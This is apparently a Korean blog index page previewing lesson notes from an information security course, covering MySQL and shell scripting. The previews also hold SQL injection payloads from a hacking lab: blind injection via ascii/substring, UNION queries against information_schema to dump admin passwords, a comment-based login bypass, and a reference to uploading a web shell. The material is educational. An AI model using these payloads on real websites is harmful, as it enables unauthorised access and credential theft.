본문 바로가기

정보보안79

정보보안8 11차시 대소문자, 숫자, _를 이용해서 DB명을 만들 수 있다. 이때문에 db명을 알아낼 때 ord('a'), ord('z')+1의 범위만으로는 부족하다 데이타의 값 알아내기for i in range(ord('0'), ord('z')+1):for문 돌리고ascii(substring(database(),{count},1)) = {i}#아스키코드로 database()를 substring으로 잘라 하나씩 비교한다 이 때 대소문자,숫자,특문 구분은if (i not in range(ord('0'), ord('9')) and             i not in range(ord('a'), ord('z')) and             i not in range(ord('A'), ord('Z')) and          .. 2024. 12. 15.
정보보안8 8차시 ?id=bbs1 union SELECT 1,table_name,3,column_name,5,6,7,8 FROM information_schema.COLUMNS WHERE table_name = 'member' and  table_schema='mywebsite'&m=list=> union을 이용하여 테이블 이름, 컬럼 이름 등을 테이블이 member이고 데이터베이스가 mywebsite인 데이터에서 얻는다. 관리자 비밀번호 추출하기?id=bbs1 union SELECT 1,userid,3,userpass,5,6,7,8 FROM member&m=list위에서 나온 userid, userpass를 사용하여 출력 sql injection을 이용한 웹쉘 업로드 setenforce 0=> selinux off 테스.. 2024. 12. 1.
정보보안8 7차시 모의해킹 실습 * 로그인 시도 시, select문으로 db내 패스워드와 비교하는 로직이 있을 때 해킹하기 쿼리 : SELECT * FROM $TBNAME WHERE  userid='$userid' and userpass=password('$userpw')"; ' and 1=1 -- 또는 ' and 1=1 # => 비밀번호 비교 때문에 통하지 않음 admin' or 1=1 -- => id 넣어도 실패 정답 admin에 ' or 1=1 /* password에 */# 또는 */-- 를 사용여러 줄 주석으로 코드를 무력화하였음 mysqldump mywebsite member > member.sql( 각 행을 별도의 insert문으로 :  mysqldump mywebsite member --skip-extende.. 2024. 11. 30.
정보보안8 6차시 mysql 들어가지 않고 명령어실행하기mysql DB명 -e "sql문"ex) mysql mywebsite -e "update member set userpass=password('111111') where userid='admin'" 쉘스크립트shell 만들기자신의 home 디렉토리에 bin 폴더를 만든다 argc=$# #### if문 사용if [ $argc -eq 0 ]; then         echo "Usage: $0 number"         echo "number "         echo " . 1: 비밀번호 출력"         echo " . 2: 비밀번호 변경"         echo " . 3: 비밀번호 확인" fi #### case 문 사용case $1 in         1) .. 2024. 11. 24.